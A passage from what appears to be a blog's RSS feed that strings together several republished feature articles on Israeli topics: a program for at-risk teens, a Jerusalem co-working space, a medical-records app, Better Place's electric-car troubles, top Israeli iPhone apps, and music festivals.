Sometimes Lachan’s therapeutic programs evolve out of opportunity. “We have a counselor who has a background in gardening,” Riskin says. “We have a lot of gardens in our ‘Yedidut’ campus. So we thought, instead of hiring a gardener, lets teach gardening to our students. They can learn a life skill, and it will make the village nicer to look at!” The hairdresser course came about because a student asked for it. “Today he’s a certified barber,” Yosef says proudly. “If it wasn’t for this course, he’d probably have gone back to jail by now.”

Another former student found that art spoke to him; today, through Lachan, he finished his high school matriculation exams and is now studying for his bachelor’s degree at Jerusalem’s prestigious Bezalel Academy of Art and Design. “Lachan’s ultimate goal is to transform youth at risk into ‘normative’ members of society,” Riskin says.

Beyond working with teens, Lachan also operates a program called “Migdalim” for college students who want to volunteer in a community. Although the program is not specifically for at-risk students, the vision is that this will allow Lachan graduates to continue within a therapeutic framework after the army. The program grants a full scholarship to its 30 participants. Some 560 young people have taken part in activities organized by the Migdalim students.

Lachan has clearly come a long way from the caravans in which it started over a decade ago. But buildings and staff are only a means to an end. It is Lachan’s graduates, like Rafael, who tell the real story. Rafael, who once was on the verge of prison, today is tutoring elementary school kids with learning disabilities in one of the harshest neighborhoods of Beersheva in the mornings, and spending his afternoons volunteering in a clubhouse for teens. He is also volunteering with the “Acharei!” program through connections he made while at Lachan.

Why did Rafael want to spend a year volunteering rather than going straight into the army? “I felt that after I took so much from the country, I wanted to give back. I wanted to fix the damage.” Does he feel like he’s been able to influence anyone from the hardscrabble communities he’s now serving? “Every day that I walk around, free in the streets and not in a jail cell, proudly wearing my staff t-shirt, I know that I’m setting a personal example. I know that I’m a leader.”

“You know, I envy him,” Riskin adds. “Not everyone is willing to look at him or herself and make a serious change. Whether that’s someone at risk, or just an ‘ordinary’ person, to be able to make that step, that leap, is truly unbelievable.”

]]> https://bluminteractivemedia.com/2014/07/transforming-teens-at-risk-how-lachan-helped-rafael-turn-from-criminal-to-counselor/feed/ 65 PICO: A Force of Change in Jerusalem https://bluminteractivemedia.com/2014/02/pico-a-force-of-change-in-jerusalem/ https://bluminteractivemedia.com/2014/02/pico-a-force-of-change-in-jerusalem/#comments Wed, 05 Feb 2014 12:32:55 +0000 https://bluminteractivemedia.com/?p=887

PICO image from JPostGalya Harish could have set up her new company anywhere.

A seasoned business professional, she has both an MBA and a law degree, passed the bar exam in Israel and in the US, served as vice president of operations and finance for hi-tech incubator JVP Studios, and worked as a brand manager for several international companies in Israel and the UK.

So when the entrepreneurial bug inevitably bit her and she decided to open her own venture, the most logical location for the 40-year-old Harish would probably have been central Tel Aviv or Herzliya, with their wealth of founders in similar situations. But the Jerusalem-born entrepreneur chose to buck the trends of the last 15 years – which has seen start-ups fleeing the capital for the Center of the country – and opened up shop as one of the inaugural tenants at PICO, a new co-working space in Jerusalem’s Talpiot neighborhood.

PICO – an acronym for “people, ideas, community and opportunities” – is at the vanguard of a growing worldwide movement for entrepreneurs at the start of their business journeys to set up shop together and cut costs by sharing desks, equipment, phone lines and Internet access, all in an open-plan space. For a single entrepreneur, or even a small start-up with one or two employees, the price is appealing: PICO charges NIS 800 per month per workspace.

And if you only need to sit there a day or two a week, the price drops to as low as NIS 300.

Co-working spaces exist in the Tel Aviv area, but PICO is the first in Jerusalem. Its founder Eli Wurtman hopes it’s not the last.

Wurtman sees PICO as more than just a friendly place for entrepreneurs to park their laptops and cellphones. He believes that by creating similarly welcoming environments for students and start-ups, Jerusalem can reclaim its place as the country’s creative capital.

He should know. In 1996 he cofounded DeltaThree, one of the first companies to deliver voice-over-IP calls from a regular telephone. The business grew to 300 employees and was the poster child for start-up Jerusalem, which, at the time, was home to hundreds of small to medium-sized hi-tech ventures.

But then came the second intifada and the dot.com bust of 2000.

“The industry got snapped almost overnight,” Wurtman recalls. “And with it, sadly, most of the people who were working here left Jerusalem.”

He did, too, eventually commuting to Herzliya as a general partner for Benchmark Capital, a leading VC firm. His career thrived, he says, but “I knew I wanted to get back to Jerusalem.”

Within the last few years, co-working spaces have started to take off big-time.

Wurtman teamed with fellow investor Isaac Hassan and began designing what he called a New York SoHo-style “loft” space in Jerusalem.

It’s clear from the moment you walk into PICO – located in a grimy, nondescript industrial building, on the same floor as the offices of the Association of Americans and Canadians in Israel (AACI) – that there has been an incredible amount of attention to detail without spending a lot of money.

“We didn’t want it to feel like Har Hotzvim or Malha,” Hassan says, referring to two of Jerusalem’s more popular hi-tech areas. “It needed to be functional, in sync with the area.”

The resulting look, which was meticulously planned to appear decidedly down-rent, includes bare concrete walls and exposed piping, natural wood floors, lots of metal and glass and even a large tube in the center of the office “to bring in fresh Jerusalem air,” Hassan says. (There is air conditioning, too – Jerusalem, like Tel Aviv, can get hot during the summer.) Windows open from two sides to let in plenty of light.

“We want the space to be copied [by future co-working spaces in Jerusalem].

So we didn’t spend a lot of money on things like plaster,” Wurtman says, only half joking.

He sees the Talpiot area as the center of a renewed start-up Jerusalem, calling it “the city’s garage district,” like lower Manhattan or Herzliya originally were in their respective environs. Many of the people who have been commuting from Jerusalem to Tel Aviv live near Talpiot, so it’s walkable. And it’s right on the new bike path that runs from the Old Railway Station in the German Colony.”

Plus, adds Hassan, “you need to have a good coffee shop nearby, and we have [popular bakery] Lehem Shel Tomer downstairs. The smell of fresh-baked bread liberally comes up through the window of my office.”

Also nearby is the private studio of Bezalel industrial design faculty head Haim Parnas, adding an artistic vibe to the neighborhood.

There is room for 18 entrepreneurs to sit in PICO’s central shared space. Use of a large conference room is included in the price, and there are couches for more casual working and conversation.

Occupancy rate since PICO opened at the beginning of this year has ranged from 40 percent to 60%, and Wurtman says it is already breaking even.

There are also six private offices, where Wurtman, Hassan and several other more established investors sit.

That’s part of the design, too. The vision is that the entrepreneurs can feel free to ask business questions of the more experienced professionals, as well as the other way around: It gives Wurtman and Hassan the opportunity to identify potential investments up close.

Harish says the ability to brainstorm easily with the PICO partners and other entrepreneurs is a key reason she chose to start there.

Her company, Wear My Prayer, creates custom jewelry with a written prayer inside.

“People unconsciously touch their necklaces all during the day,” she explains. “Each time they touch it, there’s a meaning to it. They may think about what note is inside, what the message is.”

Harish describes a problem she had with the Wear My Prayer website.

“We were getting a large bounce rate,” she says, referring to when visitors surf away without buying anything. “So we called an impromptu meeting, and everyone in the office came over to look at the page and make suggestions as to where the problem was.”

She admits that it’s not easy being an entrepreneur in Jerusalem, far from most of her start-up peers. “But the fact that there is something like PICO changes things. People come here and they’re surprised. They say that they’d expect this in Tel Aviv or New York, not in Jerusalem.”

Harish, who has several part-time employees, says that even when her company gets big enough and needs to “graduate” from PICO, she plans to find a space close by and visit at least once a week.

Sean Lewin is also renting shared space at PICO. A recent graduate of the Jerusalem College of Technology, the fast-talking 23-year-old made quite a splash when he raised over $30,000 on the Kickstarter “crowd funding” website to build an LED light for the iPhone that indicates when a message, email or text has arrived.

The light fits into the phone’s headphone jack and changes color and blinking frequency depending on the type of message. It’s something that BlackBerry users have had for years but that former Apple CEO Steve Jobs summarily banned from the iPhone.

Lewin – who has business partners in Italy, the UK and the US – had been working at home, but found he was not being productive enough.

“I find I can be more focused and concentrated here,” he says, despite the noise from other people. “And if I have a question, I can ask my mates. If I’m building an Excel spreadsheet, I can speak to a VC. That’s not something I could get in my own living room. There’s just a good vibe here.”

He also enjoys the free beer.

“I usually stay until 7 or 8 p.m.,” he says with a smile.

The beer is available at what is perhaps the most striking element of the PICO design: a blue neon-lit bar and kitchen, which is stocked with all-youcan- drink soft drinks and brew. This plays a role in the regular networking events PICO hosts.

Indeed, PICO buzzes after hours often as much as during the day. A series of intimate lectures have taken place at night; so far, the founders of hi-tech darlings Waze and Fiverr have spoken to a young, invitation-only crowd of no more than 30. Executives from Bira Shapira, a Jerusalem-area microbrewery, have also come to speak.

And city council member Rachel Azaria, head of the Yerushalmim faction, brought her whole team to hold one of its weekly meetings at PICO.

Hassan has been active in outreach, too: one notable partnership is with Siftech, an initiative that the Hebrew University’s student union founded last year to promote Jerusalem as a place to stay after getting one’s degree. Ten student start-ups have participated in Siftech’s four-month intensive technological entrepreneurship workshop. PICO offered a couple of months of free rent to the top two winners of Siftech’s most recent competition.

PICO also has close ties with Ruah Hadasha (New Spirit), another student organization promoting Jerusalem.

Clearly, having one cool place to work won’t solve all of Jerusalem’s problems with retaining the tens of thousands of college students who study in the city every year (including more than half of all art students in the country). Overall employment options and the availability of affordable housing top graduates’ concerns.

But, insists Wurtman, “we have the opportunity to be a force of change.

There’s an energy that’s required to change the working reality of a city; to give it more of an aspirational nature.

If there were 10 more places like PICO, more entrepreneurs would come out of their basements and stay.”

Adds Hassan, “Entrepreneurs are special people. They can change industries. It’s not just about PICO, it’s about changing the underlying aspect of the city.”

This article appeared originally on The Jerusalem Post.

]]> https://bluminteractivemedia.com/2014/02/pico-a-force-of-change-in-jerusalem/feed/ 795 Hello Doctor app frees you from medical paperwork https://bluminteractivemedia.com/2013/11/hello-doctor-app-frees-you-from-medical-paperwork/ https://bluminteractivemedia.com/2013/11/hello-doctor-app-frees-you-from-medical-paperwork/#comments Tue, 19 Nov 2013 16:42:13 +0000 https://bluminteractivemedia.com/?p=830

Hello Doctor co-founders, from left, Ziv Meltzer, Maayan Cohen and Eran Keisar.

(Hello Doctor co-founders, from left, Ziv Meltzer, Maayan Cohen and Eran Keisar.)

When Maayan Cohen’s partner was diagnosed with a cancerous brain tumor, she was suddenly thrust into a world of specialists, tests, recommendations and paperwork. It was overwhelming for the then 25-year-old Tel Aviv University biochemistry graduate, who was working as a senior analyst at Tel Aviv Strategic Consulting.

Midway through what would stretch into a two-year ordeal, Cohen realized there might be a better way of managing the process.

Her new mobile app, Hello Doctor, launched for Apple devices in August. The app allows patients and their case managers (like Cohen) to digitize and organize all the paperwork they currently carry in a binder. Results from blood tests, ER visits, surgeries, CT scans and more can be organized into “smart lists.”

Patients can then easily call up the right records and never succumb to what Cohen says is the case manager’s greatest nightmare: missing the one document your doctor needs to decide on the spot if you should go for more chemo, surgery or an alternative treatment … and your few minutes of precious face time are up and it’s on to the next patient.

The idea of patients carrying their medical records with them in electronic form is nothing new. More than a decade ago, technologies putting patient data on a chip embedded into their HMO card or on a USB thumb drive abounded, but they never gained traction. Cohen isn’t surprised.

“The execution wasn’t connected to reality,” she says. “Doctors won’t take the risk of putting a USB key into their computer. And many are techno-phobic even with websites. You can’t ask a senior oncologist in a top hospital to go to your personal medical portal and enter your password. Most doctors want you to bring in a paper copy.”

Tablet computers, however, are another matter. “We haven’t heard any objections to patients bringing in their records on an iPad,” Cohen continues. “85 percent of US doctors own a tablet. They’re not afraid of them. Rather, it saves them time. And perhaps most important, it doesn’t force the doctor to open his or her computer.”

Free for patients

There are several ways to get records into Hello Doctor. You can use the camera in your iPad to take a picture of a document. Or, if it’s already on your computer, you can copy it to Hello Doctor using the Dropbox file transfer application. Exporting test results directly from an HMO’s patient portal is in the pipeline.

Another feature, which Hello Doctor users have requested that’s also in development, is the ability to take notes using the app. “It’s our most requested feature,” Cohen says. The idea is to allow patients to write down questions about a test result or medication dosage, for example, right on the appropriate electronic record.

Once data is input into Hello Doctor, it’s stored locally on the patient’s iPad. “In another two months, we’ll release a version that will back up that information on the cloud and that will synch it to another device, such as the patient’s iPhone,” Cohen says. All data will be transferred using the industry-standard SSL security protocol.

hello-doctor-app

The backup and synchronization is key. If your iPad is stolen, your data is gone (just as if you lose your physical paperwork). Once the synch is in place, users will be able to instruct Hello Doctor to delete all the data from their mobile device via a Web interface. The app always requires a password, in order to keep your records as private as possible.

Still, some data does get sent beyond your iPad and the cloud. That forms the basis of the company’s business model. In the same way that Google scans your Gmail messages for keywords to serve up ads, Hello Doctor will look through your records (“anonymously and aggregated,” Cohen insists) to check on how a patient is responding to specific treatments – for example, is a particular medication causing nausea or vomiting? Hello Doctor will then sell that data to pharmaceutical companies “so they can make better decisions about future drug development,” Cohen says.

This is par for the course in the Internet age. Facebook is free because it owns your data and can provide it in the same non-identifiable way to advertisers. Hello Doctor’s success will hinge, in part, on whether users find enough value in the app to ignore any concerns about what’s being done with their records behind the scenes.

“It’s a win-win model,” Cohen stresses. “Patients don’t have to pay anything, they get a full integrated solution that will grow over time, and it helps pharmaceutical companies build better drugs.”

Cohen started Hello Doctor with two Israeli co-founders, Eran Keisar and Ziv Meltzer. The company has a staff of eight and works in Tel Aviv.

Hello Doctor competes most directly with Microsoft’s HealthVault, which is available for the Web and tablet devices, including the iPhone. A variety of other mobile apps allow you to input emergency information such as your allergies, which vaccinations you’ve taken and emergency contacts, but don’t sport the broader vision Cohen and her team have for Hello Doctor.

As for Cohen’s partner, there’s good news at the end of this story: After multiple surgeries and rounds of radiation and chemotherapy, he is now “100% cancer free,” Cohen says.

This article appeared originally on Israel21c.

]]> https://bluminteractivemedia.com/2013/11/hello-doctor-app-frees-you-from-medical-paperwork/feed/ 142 Better Place new management promotes “beta test” Israel https://bluminteractivemedia.com/2013/01/better-place-beta-test-israel/ https://bluminteractivemedia.com/2013/01/better-place-beta-test-israel/#comments Thu, 17 Jan 2013 11:48:10 +0000 https://bluminteractivemedia.com/?p=770

Jody and Brian meeting with "Brian of London" at the Better Place customer event

Israelis notoriously have a hard time saying they’re sorry, let alone that they may have goofed big time. But that’s exactly what happened in an extraordinarily candid meeting last week between Better Place’s new management team and several hundred owners of the company’s Renault Fluence 100% electric vehicles.

Not only did CEO Evan Thornley, the genial Australian who replaced Israeli founder Shai Agassi in October, concede that the company had set unrealistically aggressive expectations and that too many target dates had not been met, but his CFO, Alan Gelman, who’s also the CEO of Better Place Israel, went so far as to give out his personal cell phone number and email address. Talk about transparency.

“I know you’re frustrated that we didn’t fight back enough,” Thornley told the audience, referring to the blitz of negative media coverage the company received last year when Agassi was ousted, layoffs were announced, sales dried up, and cash ran dangerously low. “The truth is, what was said in the media initially was basically correct. We had to make some very big changes fast.”

The backlash against the company, Thornley suggested, actually came about, davka, because so many people wanted Better Place to succeed. When it looked like that might not be the case, the public and the press turned. That said, Thornley assured the crowd that Better Place is beyond the crisis and now it was time “to return to the sense where people want us to win again.”

Despite the problems, Thornley said he believes that “the business strategy of the company is fundamentally sound. It’s just that when things don’t go right, it’s easier to blame the strategy rather than the execution of the strategy.”

Thornley may have spoken too fast. This morning, the Israeli press reported that Thornley has resigned, citing disagreements with Better Place’s investors over exactly that: strategy. We’ll provide an update later once we know better what’s now going on (assuming the company continues to come clean).

Despite this latest news, Thornley’s examples still make sense. He cited Better Place’s lackluster sales to date of less than 1,000 all-electric cars currently on our roads but insisted that Israelis will eventually flock to electric vehicles. It’s just that it was unrealistic to expect that they’d do that before the infrastructure was all in place, and that’s just happened now.

So while the media deemed Better Place a failure for sluggish sales, Thornley believes “we are now only at the beginning, not the end.” Current car owners should be seen for what they are: tech-savvy, risk-taking early adopters; the beta testers of the electric car industry, if you will. 2013 will be the make it or break it year, he stated, understanding the risks.

To get the word out, Better Place has hired a new Chief Marketing Officer, Peter Economides (a native English-speaker like Thornley, originally from South Africa but more recently living in Greece where he’s had an even more daunting task: re-branding an entire country that’s gone nearly belly up),

Economides, who will be leading a renewed marketing campaign in Israel, has an impressive pedigree. He worked directly with Steve Jobs on the “Think Different” campaign that turned Apple around from the verge of bankruptcy in 1997. And he headed up Coca Cola’s international marketing while living in New York.

“You are the heroes,” he cheered the crowed on. “You’re the people with the vision and courage and belief to say yes. This is where the ball starts rolling.”

Economides has been at Better Place all of three weeks but he was sold in less than ten minutes, he said, when he took a ride in his first electric car on a visit to Israel. He flew back home and got in his gas-powered car. “I thought I was driving ‘yesterday,’” he quipped. That car, he added almost as an aside, was a Porsche.

What’s gone wrong in Better Place version 1.0? Plenty, as Thornley, Economides and Gelman heard while fielding questions from their outspoken customer advocates. The swapping stations aren’t in the right places (“the algorithm for networking planning is very different for electric cars and we didn’t get it quite right,” Thornley said); the batteries themselves don’t get the range initially promised (“what works in the lab is not always achieved in the field”). One owner felt Jerusalem had been abandoned (the opening of the capital’s only swapping station was delayed for months). And parking spots with power plugs and are too often filled with gas guzzlers (“we need regulatory support from the government for this,” Thornley emphasized).

It wasn’t all doom and gloom. An equal number of Better Place customers took to the microphone to lavish praise on the company. Economides’ driving experience was roundly acknowledged (the acceleration on an all-electric vehicle, along with the spooky silence when stopped create a driving experience that’s uniquely exhilarating), and the company’s responsive Customer Service is on a level several notches higher than anything else available in Israel. Battery swapping is as fast as promised. And Idan Ofer, chairman of the Israel Corporation and Better Place’s prime investor, even made a surprise appearance, showing his commitment to the company he’s invested some $300 million in by arriving in his own Renault Fluence, which he parked in front to show off some special customizations he’d added (it was all tricked out with fully leather, electric powered seats).

All this, nevertheless, begs the question: how exactly is Better Place going to make a better go of it this time around? Here’s what Thornley said last week. Whether this plan is the reason he’s no longer the company’s CEO isn’t clear. But his vision (and that of the management consultants who worked with the company over the past months) was simple: Better Place wants to be the electric recharging network for every electric car made. That means applying its experience in building charge spots and a smart power grid that doesn’t overload when everyone plugs in at once to supply the growing number of Nissan Leaf’s and Chevy Volt’s, even if they don’t have swappable batteries.

To Israelis, that might not resonate so much because the only electric vehicles in this country are the Renault Fluence’s that Better Place sells. But in Thornley’s Australia, Better Place is already working with General Motors as the car manufacturer’s “preferred charge network.

Of course, Better Place would like all the other electric vehicle makers to offer cars with swappable batteries, which Thornley said he still believes is the future of electric and the differentiating feature between Better Place and other up and comers. That will come eventually, he insisted, once a network of swap stations similar to the ones in Israel and Denmark is built out in target countries (the U.S. and China are high on the list). That poses a not insignificant chicken and egg problem, but Thornley said that, once Israel is acknowledged as a clear “proof of concept,” the economics of electric cars will ultimately win out.

“The cost of manufacturing an all electric car is much cheaper than a hybrid,” he pointed out. “There’s only one power train versus two” as in a Toyota Prius, for example. And, he added, for many of today’s fixed battery electric cars, it would be fairly “easy to produce them in a swappable form.” Think 18-24 months for a factory to add that capability.

Better Place also wants to be more transparent with its software – so far, “a brilliant integration but a walled garden,” Thornley admitted. Why can’t Better Place’s OSCAR GPS system work with Waze, for example? It should, Thornley said.

The question remains, however: can Better Place convince the world that its Israeli “beta test” country is a success that can be applied elsewhere, before the company runs out of money again? It’s an imperative, explained Saul Singer, who gave a closing talk for the evening. Singer is the co-author of Startup Nation, the best selling book about Israeli entrepreneurship that featured Better Place in its first chapter as the poster child of the scrappy Israeli startup with global ambitions.

Better Place was Israel’s first attempt at tackling a problem affecting the entire world – reliance on a dwindling supply of oil – in the living laboratory of a small country, Singer said. The author envisions Israel doing the same now for other burning issues. “But Better Place has to succeed if we want to do it next for education,” he said, giving a perhaps improbable example. “The stakes for this are huge.”

Singer then shared a personal story. His wife, he said, hates it when they have to stop the car to swap the battery. But then his kids intervene from the back seat. “’Why are you complaining, Imma?’” they’ll say. ‘We’re the pioneers.’ Yes there are problems, but that’s the meaning of being a pioneer. We have to stick with it and win.”

This report on Better Place originally appeared on the Israelity website.

]]> https://bluminteractivemedia.com/2013/01/better-place-beta-test-israel/feed/ 92 The Best iPhone and iPad Apps from Israel https://bluminteractivemedia.com/2011/10/the-best-iphone-and-ipad-apps-from-israel/ https://bluminteractivemedia.com/2011/10/the-best-iphone-and-ipad-apps-from-israel/#comments Mon, 03 Oct 2011 15:35:12 +0000 https://bluminteractivemedia.com/?p=712

Whether you’re looking for something healthy to eat or trying to plot the best way home through rush-hour traffic, there’s an application for that on your iPhone or iPad. And if you look under the hood, you might just discover it’s made in Israel.

With its expertise in cellular technologies, a love affair with the cell phone, and a fast national adoption rate for the iPhone – despite the fact Israelis pay some of the highest prices in the world for the privilege – it’s not surprising that Israelis have plunged into development of iPhone applications.

ISRAEL21c combed through some of the best Israeli apps to come up with our top 10 blue-and-white list for the iPhone.

1. Fooducate

With a recent positive write-up in The New York Times, Fooducate is the latest darling of the Israeli iPhone app scene. And it’s healthy to boot. The concept is simple: before you buy a product at the grocery store, check out what’s really in it. If its bite is worse than its crunch, Fooducate will suggest an alternative that’s better for your body (if not for your pocketbook).

The app uses the iPhone’s built-in camera to scan a product’s bar code. Using its own proprietary algorithm, Fooducate counts up the nutrients and assigns a letter grade from A to D. The app is smart enough to spot cleverly disguised additives – did you know that “autolyzed plant protein” is just another way to say MSG?

Fooducate is primarily for products manufactured in the United States, and its database isn’t yet complete (the company encourages users to snap pictures of items they’d like to see covered and send them in).

2. FiddMe

FiddMe is also a food app, but it takes a very different approach than Fooducate. Rather than aiming to educate, FiddMe wants to turn eating into a worldwide social game – a kind of FourSquare for foodies.

FiddMe allows users to take pictures of great meals they’re eating (in real time) and post the snapshot and information about the restaurant to the cloud. Other FiddMe users can tap into the growing database of yummy recommendations. The service is integrated with other location-aware apps like FourSquare and Facebook. You can also post to Twitter or to the FiddMe website.

FiddMe is not competing directly with user-generated recommendation services like Yelp. Those focus on restaurants as a whole, while FiddMe drills down to the quality of the fettuccini. Not surprising from an app created by a bunch of self-described Israeli “foodies.”

3. Waze

Waze has tackled a problem we’ve all experienced – getting stuck in traffic and not knowing the best alternative routes – and crowd-sourced it. Users automatically add information about traffic tie-ups in real time – without having to do a thing. Waze tracks where drivers are via GPS. If there are more drivers than expected in a certain stretch of road, the Waze map will turn red.

So if Highway 101 is backed up coming into San José, Waze will instantly tell you if Interstate 280 is the better bet. That’s a whole lot faster than waiting for the radio to report the latest jams every 15 minutes. And it’s one of the reasons the service has proved incredibly popular, with more than two million drivers signed up.

The automated aspect to Waze is particularly welcome, since texting while driving is a big no-no. But users stopped at a red light can more proactively input traffic information. And to really keep things safe, Waze turns off the keyboard when the car is in motion – neat!

Waze has other features – such as allowing drivers to build maps together, create private groups to share tips, and even play interactive social games.

Waze is free, in keeping with its 2006 roots as an open-source project called FreeMaps. The service began in Israel but is available all over the world.

4. Viber

Within three days of Viber’s launch in December 2010, some one million people had downloaded it. Two months later, the number is up to an overwhelming 10 million. What’s all the fuss about? Viber, a free app, aims to be the Skype-killer, a voice-over-IP phone service that integrates seamlessly into your iPhone’s contact list and allows you to make free calls to other Viber users anywhere in the world.

The app is drop-dead simple: Install it, and any other Viber users in your contact list show a Viber icon. Since the Viber app runs in the background (and the company claims it doesn’t drain the phone’s battery like Skype does), calling that contact for free is a single tap away.

Viber also doesn’t require any registration (another step saved) and uses your phone number as your ID. Contrast that with Skype, where you have to sign up for a unique ID and use only the Skype app to make calls. Viber “officially” only supports the iPhone, but savvy callers claim it works on the iPad and iPod Touch as well. Android and BlackBerry versions are coming soon.

5. Fring

Fring is another made-in-Israel app that allows free phone calls. Unlike Viber, Fring piggybacks on existing phone networks like Google Talk, ICQ, Twitter, Facebook and more, acting as a universal communications center for voice, chat and even video calls. You open the Fring app and get a separate contact list; you can then call any friends on the list at no cost.

For friends not on the list, “Fring Out” calls start at one cent per minute (although that can jump to as high as 44 cents per minute for far-flung locations like Samoa and Zimbabwe).

Fring got a big boost when the iPhone 4 with its front-facing camera came out last year, making video calls a major attraction (the upcoming iPad 2 is rumored to have the same feature).

The app also has a “Fring Stream” that consolidates all your Twitter tweets and Facebook updates (plus, of course, any Fring chats and calls) in one place.

There’s one service that’s noticeably missing from the Fring roster: Skype. Fring used Skype’s network to enable video calls for several years until December 2010, when they parted ways. Fring claims Skype blocked its service; Skype says Fring had been misusing its software and decided to pull out on its own. Either way, Fring is slightly less useful than it was six months ago.

6. Babller

Babller is a simple iPhone app that was an obvious product to be developed in multilingual, multicultural Israel. The app allows you to post status updates to Facebook, Twitter and LinkedIn in your preferred language and have it automatically translated into a variety of other lingos. The app works the other way around, too, translating posts you receive.

Babller is essentially Google Translate with built-in social networking integration. It’s not likely to be around for long – as soon as Google does its own Facebook translation mash-up, Babller will be out of here.

7. My6Sense

Owning an iPhone can quickly result in serious information overload. With your email, social network updates, tweets and RSS feeds all coming at you a mile a minute, you may find yourself sifting through hundreds (if not thousands) of messages and articles every day.

My6Sense aims to reduce the clutter by learning what you’re interested in and filtering the stream so that’s what you see. Focusing primarily on updates via RSS, My6Sense “learns” what you like by monitoring which articles you choose and which links you forward. You may view your subscriptions by most recent posts or by My6Sense recommendations.

What’s particularly cool is you don’t have to do anything – no tapping buttons to give a thumbs up or down to a particular piece of content, for example. The company calls its service “digital intuition” and it seems to be on to something. My6Sense has received media accolades including a “Best of 2010” award from ReadWriteWeb.

8. Libox

Consuming media on an iPhone or iPad is perhaps as popular as actually making a call. Despite its tiny screen, users love to watch video, show off pictures and, of course, listen to music. But how do you get your media content from your desktop computer or laptop onto your phone?

Apple’s answer is to synch via iTunes. But that requires plugging your mobile device into your computer. And you have to physically move files onto your phone, which means you can quickly bump up against your iPhone’s memory limit.

Israeli startup Libox lets you stream your media from home. There are two parts to the app – one that goes on your computer and scans your hard drives to find media, and a second that you download to your phone, which then streams the media from your computer via your regular cell service or WiFi. Libox also allows sharing media with friends, although that might put the company in hot water with copyright holders.

One downside: the app requires that your home computer be turned on with Libox running. That may not work for people whose laptops are their primary machine.

The company’s pedigree suggests that Libox will continue to innovate in future versions: The company’s founder is Erez Pilosof, who also founded Walla!, the Israeli equivalent to Yahoo and still an uber-popular Hebrew language site.

9. Touchoo

Buying your toddler an iPhone or iPod Touch is not as wacky an idea as it seems with Israeli startup Touchoo’s vision of creating interactive “touch” books for tykes. The company, which calls itself a publisher rather than a development house, has assembled a team of writers, illustrators, animators and programmers (all from Israel, for now) to create their touch books, and the company emphasizes that all book apps are made under the supervision of a developmental psychologist.

Featured first books include Benny the Cat and the touch-screen appropriate Thumbelina (based on the original classic from Hans Christian Andersen). Some of the books are available in multiple languages. Touching not only changes pages but triggers interactive fun (an animated character may jump out and sing).

Touchoo’s concept has already been proven … 20 years ago. When the first round of interactive multimedia products was being released on CD-ROM, one of the most popular genres was animated storybooks that both entertained and taught. Touchoo has simply updated a proven concept to the 21st century, where a click of the mouse has been replaced by a tap of a finger.

10. Appsfire

Appsfire is an app that lets you find other apps. Sure, you can always go searching in the Apple App Store or visit an app review site. But Appsfire uses the power of the crowd to recommend the best apps. As an Israeli company, its roster of “VIP” experts making recommendations is mostly culled from the Israeli tech scene; that will change as the app gains traction around the world. And there are plenty of “regular” users adding their favorite apps.

There’s also a separate iPad version called Appstream that, as its name suggests, has a moving stream of apps. You can tap on an app to preview it, and tap again to share a recommendation with friends or to buy the app. You can filter by just iPad apps or by free apps.

Appsfire and Appstream, by the way, are both free. Appsfire takes a cut of sales from app developers via an affiliate model.

This post originally appeared in March 2011 on the Israel21c website.

]]> https://bluminteractivemedia.com/2011/10/the-best-iphone-and-ipad-apps-from-israel/feed/ 1000 Something For Everyone at Israel’s Music Festivals https://bluminteractivemedia.com/2011/02/something-for-everyone-at-israels-music-festivals/ https://bluminteractivemedia.com/2011/02/something-for-everyone-at-israels-music-festivals/#comments Mon, 28 Feb 2011 10:07:43 +0000 https://bluminteractivemedia.com/?p=670

Despite this past summer’s flurry of over-hyped overseas cancellations, Israel’s music scene is thriving. Indeed, one need look no further than the extensive roster of festivals that paper the creative landscape – from the kabalistic city of Safed in the north, to the hedonistic beach town of Eilat in the south – to find a festival lurking in every corner. Whether you prefer jazz, rock, classical, choral, rap or klezmer, there’s surely an event tailored to your taste.

It wasn’t always this way. During the austerity years of the 1950s, festivals were hard to come by. One notable exception was the Ein Gev Festival which is still going strong, now in its 66th year. Held at Kibbutz Ein Gev on the eastern side of the Sea of Galilee during the intermediary days of Passover, it was originally conceived to bring culture to the “distant” northern region of the country.

In the festival’s early years, that included a wide variety of arts – from ballet and folklore to choral and orchestral works (including the Israel Philharmonic Orchestra which made the journey up from Tel Aviv).

More recently, the Ein Gev Festival has focused on presenting Hebrew music and choirs. There are now more than 70 vocal performances including every one of the country’s 300 singing groups, some of whom have been together for decades. While that gives the festival less of a cutting edge feel than it had in earlier years, it is still quite popular with Israelis who enjoy following along with the nostalgic classics of the country’s pioneering days.

The festival scene took a major leap forward in 1961 with the launch of the Israel Festival, which to this day remains the country’s cultural anchor, bringing together dozens of performances from both local and overseas acts in a three-week period from May until June. While there is no shortage of international acts playing individually throughout the year, the Israel Festival hosts the greatest concentration by far.

World renowned musicians (among them Isaac Stern, Alexander Schneider, Maureen Forrester, and Leonard Rose) in Tel Aviv for the first Israel International Music Festival, 1961 (Photo: GPO)

Originally staged at the Roman amphitheater in Caesarea, since the 1980s it has been centered in Jerusalem. The range of performances is staggering. In 2010, for example, among the 50 acts one could see a Lithuanian version of Shakespeare’s A Midsummer Night’s Dream; dance performances by the local Vertigo troupe and Argentina’s Nuevo Tango; Itzhak Perlman conducting a program of young musicians; a theatrical version of a story by Nikolai Gogol; and nightly jazz at the Jerusalem Theater. There are also free musical street performances.

Israel Festival 1998 - "Hi five" band performs songs by Naomi Shemer at Jerusalem's Sultan's Pool (Photo: GPO/Amos Ben Gershom)

From fringe to folk on a muddy hill

The 1980s saw a further awakening of the festival scene, most notably with the Acre Fringe Theater Festival, which was modeled on the acclaimed Edinburgh Fringe Festival. The Acre version presents mostly local theater companies, but the backdrop is particularly compelling: the Crusader castle setting and archaeological sites of Acre’s Old City.

Festival artistic director Avi Gibson Bar-El is delighted with the venue, which draws its power, he says, from “the gentleness of the sea, the power of the ancient walls, the smell of fish and lavender in a virtuoso juggling act between languages, cultures, and religions.”

Scene from a play at the Acre Fringe Theater Festival, 1900 (Photo: GPO/Alpert Nathan)

The festival was nearly shut down a few years ago due to riots between the Jewish and Arab populations in this mixed town, but has bounced back and now draws some 200,000 visitors a year. It is seen as a sort of staging ground for promising playwrights, producers and actors.

While the Israel Festival and the Acre Fringe Theater Festival feature music prominently in their programs, there is no shortage of exclusively musical events. One of the earliest and most enduring is the Jacob’s Ladder Folk Music Festival.

Founded by UK immigrants Yehudit and Menahem Vinegrad on a muddy kibbutz hill in 1978, the festival has grown to become an internationally recognized program that attracts talent from around the world and close to 5,000 Israeli folk music fans. It is held twice a year at the Kibbutz Nof Ginosar.

